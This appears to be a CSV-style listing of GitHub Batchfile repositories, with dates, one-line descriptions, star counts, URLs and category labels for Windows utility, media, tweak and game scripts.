Utilities +,2022-01-26T15:08:58Z,解锁 Minecraft for Windows （MCBE）的一键 BAT 脚本,9,Batchfile,jiesou/MFWL-Minecraft-For-Windows-Unlock-Launcher,0.348,72,2026-06-06T02:51:52Z,https://github.com/jiesou/MFWL-Minecraft-For-Windows-Unlock-Launcher,Gaming & Entertainment Tools +,2017-04-15T05:34:02Z,结合you-get、youtube-dl和FFMPEG，附带文件管理视频播放等命令,22,Batchfile,WWILLV/you-get-ffmpeg,0.328,71,2026-03-31T08:59:14Z,https://github.com/WWILLV/you-get-ffmpeg,"Audio, Video Capture, Conversion & Playback" +,2020-02-12T10:01:14Z,Empty Standby Memory automatically with Task Scheduler + EmptyStandbyList + .BAT,15,Batchfile,stefanpejcic/EmptyStandbyList,0.328,70,2026-06-14T03:43:21Z,https://github.com/stefanpejcic/EmptyStandbyList,"Process, Service & Startup Management" +,2017-04-22T22:58:47Z,A batch script for convert video to GIF files by FFmpeg.exe on Windows,12,Batchfile,NabiKAZ/video2gif,0.383,67,2026-03-27T18:56:40Z,https://github.com/NabiKAZ/video2gif,Development & Scripting Tools +,2023-04-30T04:12:33Z,A Batch script that sets up Av1an with all it's dependencies in a portable workspace,6,Batchfile,Hishiro64/av1an-win-script,0.364,66,2026-05-11T22:29:13Z,https://github.com/Hishiro64/av1an-win-script,Development & Scripting Tools +,2017-05-30T00:59:04Z,:shell: Various batch files (descriptions are in the read me file),20,Batchfile,Archive-projects/Batch-File-examples,0.364,66,2026-03-22T19:09:26Z,https://github.com/Archive-projects/Batch-File-examples,Development & Scripting Tools +,2026-05-17T21:19:51Z,Windows Repair Tool Pro هي أداة مجانية مخصصة لصيانة وإصلاح مشاكل ويندوز بسهولة من خلال واجهة CMD بسيطة وسريعة.,16,Batchfile,newmatrix/WinRTP,0.364,65,2026-06-14T18:50:15Z,https://github.com/newmatrix/WinRTP,Other & Uncategorized +,2020-06-14T13:41:32Z,WampServer SSL Auto Config is a Microsoft Windows batch script designed to automatically generate and configure a fully working Apache SSL / Name Based virtual host development environment.,13,Batchfile,custom-dev-tools/wampserver-ssl-auto-config,0.381,61,2026-02-02T06:22:47Z,https://github.com/custom-dev-tools/wampserver-ssl-auto-config,Development & Scripting Tools +,2021-03-02T01:08:57Z,Ativador Office 365,24,Batchfile,minigueimeiros/office-365-cmd,0.324,61,2026-04-08T12:16:34Z,https://github.com/minigueimeiros/office-365-cmd,Other & Uncategorized +,2021-06-11T23:13:24Z,💻 Scripts and relevant configuration to set up my Windows development box.,11,Batchfile,dend/windows-dev-box,0.361,58,2026-06-07T00:38:31Z,https://github.com/dend/windows-dev-box,Development & Scripting Tools +,2020-06-19T10:33:37Z,Bat-2-Exec - A wrapper for converting Batch files into Executables using IExpress,6,Batchfile,amakvana/Bat-2-Exec,0.342,58,2026-06-08T23:53:19Z,https://github.com/amakvana/Bat-2-Exec,File & Disk Utilities +,2025-07-31T18:08:22Z,"Script batch (.bat) interativo para otimizar suporte técnico no Windows, automatizando reinício do sistema, limpeza de temporários, diagnóstico de rede, correção de erros comuns de impressão e ajustes de compartilhamento entre Windows 10 e 11 via PowerShell, aumentando a eficiência e reduzindo erros humanos.",19,Batchfile,AliceDzindzik/menu-do-suporte,0.379,57,2026-01-23T14:34:28Z,https://github.com/AliceDzindzik/menu-do-suporte,Development & Scripting Tools +,2019-01-02T19:33:38Z,Arquivo em lote (.bat) para otimização do Windows,15,Batchfile,AFaustini/OtimizeWindows,0.342,57,2026-06-13T15:51:43Z,https://github.com/AFaustini/OtimizeWindows,Other & Uncategorized +,2018-07-30T16:47:16Z,Just my rclone Windows batch scripts to backup / sync the second hard drive of my computer to pCloud (encrypted).,11,Batchfile,FoxP/rclone-backup,0.379,56,2026-04-22T09:31:16Z,https://github.com/FoxP/rclone-backup,Development & Scripting Tools +,2018-11-22T01:36:55Z,A package manager for Windows scripts.,4,Batchfile,jahwi/bget,0.479,56,2025-10-11T19:39:30Z,https://github.com/jahwi/bget,Development & Scripting Tools +,2024-08-29T16:04:00Z,Matject - Universal batch script made for Windows to dynamically change .material.bin files of Minecraft Bedrock Edition. With automatic backups and many more features!,5,Batchfile,faizul726/matject,0.379,56,2026-06-08T04:45:51Z,https://github.com/faizul726/matject,Development & Scripting Tools +,2020-06-20T20:52:35Z,"Batch Antivirus, a powerful antivirus suite written in batch with real-time protection and heuristical scanning.",5,Batchfile,anic17/Batch-Antivirus,0.341,56,2026-04-28T13:45:58Z,https://github.com/anic17/Batch-Antivirus,Security & Privacy Tools +,2018-03-23T05:53:02Z,WampServer PHP CLI version changer is a Microsoft Windows batch script that allows you to easily add and then change between available WampServer PHP CLI versions using the users environment 'path' variable.,6,Batchfile,custom-dev-tools/wampserver-php-cli-version-changer,0.378,54,2026-02-26T06:20:48Z,https://github.com/custom-dev-tools/wampserver-php-cli-version-changer,Development & Scripting Tools +System Tweaks & Performance Enhancements,2024-06-30T12:22:45Z,.cmd script for enhancing Windows performance through optimized BCDEdit parameters.,5,Batchfile,dubbyOW/BCDEditTweaks,0.378,54,2026-09-17T07:07:52Z,https://github.com/dubbyOW/BCDEditTweaks, +,2021-08-19T02:18:20Z,🧹 A winget bloatware removal tool made in batch,6,Batchfile,2rf/winGetDebloated,0.359,53,2026-04-26T19:14:58Z,https://github.com/2rf/winGetDebloated,System Tweaks & Performance Enhancements +,2024-09-12T12:18:43Z,batch multi tool https://www.youtube.com/watch?v=x9aGS-FzONg,20,Batchfile,EbolaMan-YT/Batch-Multi-Tool,0.359,53,2026-06-12T21:32:23Z,https://github.com/EbolaMan-YT/Batch-Multi-Tool,Other & Uncategorized +,2022-03-26T08:11:09Z,A bat installer to install adobe flash player which bypasses the date restrict,6,Batchfile,itsHenry35/Adobe-flash-player-installer,0.34,53,2026-03-18T04:16:27Z,https://github.com/itsHenry35/Adobe-flash-player-installer,Other & Uncategorized +,2021-07-09T16:49:13Z,"This simple batch script will get rid of the annoying TJprojMain malware, which infects all your exe files to spread",15,Batchfile,skidaim/TJprojMain-explorer.exe-remover,0.358,52,2026-04-09T08:13:52Z,https://github.com/skidaim/TJprojMain-explorer.exe-remover,Development & Scripting Tools +,2020-02-20T18:13:09Z,"Winterfell is a group of windows batch scripts to collect Windows forensics data and perform efficient, and fast incident response and threat hunting activities.",11,Batchfile,yasser-alghamdi/winterfell-collection,0.477,52,2025-06-10T13:56:10Z,https://github.com/yasser-alghamdi/winterfell-collection,Development & Scripting Tools +,2015-02-19T21:14:08Z,Collection of some Windows commandline tools/batch scripts I use on a daily-ish basis.,17,Batchfile,dfkt/win-cmd-tools,0.495,51,2024-08-22T17:40:44Z,https://github.com/dfkt/win-cmd-tools,Development & Scripting Tools +,2018-12-28T07:14:11Z,a simple bat to get battery report,10,Batchfile,ParrySMS/batteryreport,0.42,51,2025-09-24T18:20:26Z,https://github.com/ParrySMS/batteryreport,Other & Uncategorized +System Tweaks & Performance Enhancements,2022-02-10T10:02:10Z,"⚙️ Yet another (and ugly) debloat, optimizer and tweaker for Windows 11 based on group policies",4,Batchfile,SegoCode/DebloBat,0.339,51,2026-08-29T04:02:11Z,https://github.com/SegoCode/DebloBat, +File & Disk Utilities,2021-12-23T13:56:56Z,Simple batch files for simplifying basic usage of https://github.com/yt-dlp/yt-dlp (a fork of https://github.com/rg3/youtube-dl) Windows .exe releases,3,Batchfile,edinsuta/yt-dlp-batch,0.358,51,2026-09-11T23:38:12Z,https://github.com/edinsuta/yt-dlp-batch, +,2019-12-30T15:49:27Z,Batch script to activate Windows 10 Pro for free (requires an unlicensed installation of Windows 10).,12,Batchfile,danielj0nes/Activate-Windows10-Pro-Script,0.376,50,2026-05-30T01:07:40Z,https://github.com/danielj0nes/Activate-Windows10-Pro-Script,Development & Scripting Tools +,2019-04-26T17:05:32Z,This repo contains multiple scripts to optimize windows 10,4,Batchfile,tcja/Windows-10-tweaks,0.358,50,2026-06-09T12:12:46Z,https://github.com/tcja/Windows-10-tweaks,System Tweaks & Performance Enhancements +Development & Scripting Tools,2019-04-26T20:40:34Z,A simple Guide and batch script to flash steam controller dongles to watchman dongles for SteamVR/OpenVR,4,Batchfile,ykeara/SteamVR-Dongle-Flash,0.358,50,2026-09-20T20:50:30Z,https://github.com/ykeara/SteamVR-Dongle-Flash, +Uncategorized,2023-07-31T09:23:18Z,简单的批处理调用N_m3u8DL-RE进行下载，预设单个下载、批量下载、录播下载。,10,Batchfile,LennoC/N_m3u8DL-RE_SimpleBatGUI,0.32,50,2026-10-01T07:51:11Z,https://github.com/LennoC/N_m3u8DL-RE_SimpleBatGUI,